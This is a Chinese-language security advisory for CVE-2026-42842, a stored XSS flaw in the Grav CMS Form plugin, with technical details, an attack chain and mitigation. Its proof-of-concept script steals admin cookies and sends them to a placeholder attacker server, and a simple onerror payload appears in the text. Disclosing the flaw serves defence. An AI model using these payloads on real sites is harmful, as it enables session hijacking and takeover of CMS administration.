IPBUF安全漏洞报告
English
CVE-2026-42842 CVSS 5.4 中危

CVE-2026-42842 Grav CMS Form插件存储型XSS漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42842
漏洞类型
Stored Cross-Site Scripting (XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Grav CMS Form Plugin

相关标签

XSSStored XSSGrav CMSCVE-2026-42842Web SecurityTwig Template

漏洞概述

Grav CMS Form插件在9.1.0版本之前存在存储型跨站脚本(XSS)漏洞。该漏洞源于插件的选择字段模板在管理面板中渲染分类标签和类别值时,错误地使用了Twig的`|raw`过滤器,从而绕过了全局自动转义保护。拥有编辑器权限的恶意用户可以利用此漏洞在表单字段中注入任意JavaScript代码。一旦管理员在后台查看或编辑包含该恶意数据的页面,脚本将在其浏览器会话中执行。攻击者可借此窃取管理员凭证或执行未授权操作。官方已在9.1.0版本中修复了此问题。

技术细节

该漏洞的技术核心在于Grav CMS Form插件对Twig模板引擎`|raw`过滤器的误用。在Web开发中,输出用户输入的数据时通常应进行HTML实体转义以防止XSS。然而,Grav Form插件在处理后台管理面板的分类标签和类别值渲染时,使用了`|raw`过滤器。该过滤器明确告诉Twig引擎数据是安全的,不应被转义,导致全局的`autoescape`安全机制失效。
利用该漏洞不需要管理员权限。攻击者只需获得一个低级别的编辑器账户,即可在表单的Select字段或相关Taxonomy字段中植入恶意载荷(如`<img src=x onerror=alert(1)>`)。由于这是存储型漏洞,恶意载荷被持久化。当管理员登录后台并访问受影响的页面列表或编辑详情时,后端会读取这些数据并通过`|raw`过滤器渲染。此时,恶意JavaScript代码将在管理员的浏览器上下文中直接运行。攻击者可以通过构造特定的JS代码窃取Session ID、Cookie或利用管理员权限执行API调用,从而完全接管CMS管理权限。

攻击链分析

STEP 1
1. 获取低权限账户
攻击者注册或获取一个具有编辑器(Editor)权限的账户,不需要管理员权限。
STEP 2
2. 注入恶意载荷
攻击者编辑页面或表单配置,在Form插件的Select字段或Taxonomy/Category字段中输入包含JavaScript代码的恶意数据。
STEP 3
3. 数据持久化
恶意载荷被保存到CMS的存储中,等待被渲染。
STEP 4
4. 管理员访问触发
管理员登录后台,访问包含该恶意数据的页面或进行编辑操作。
STEP 5
5. 执行攻击代码
后台模板使用`|raw`过滤器渲染数据,绕过转义,恶意JS在管理员浏览器中执行,窃取凭证或执行操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-42842: Stored XSS in Grav CMS Form Plugin Description: Inject this payload into the Select field (Taxonomy/Category values) in the Form plugin configuration. --> <script> // Example payload: Steal admin cookies (function(){ var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://attacker-controlled-server/log?c=' + encodeURIComponent(cookies), true); xhr.send(); alert('XSS Triggered - CVE-2026-42842'); })(); </script>

影响范围

Grav CMS Form Plugin < 9.1.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Form插件中的Select字段功能,或对后台用户实施严格的访问控制,仅允许受信任的用户编辑表单内容。管理员在访问后台页面时应保持警惕,避免在可疑会话中执行敏感操作。

参考链接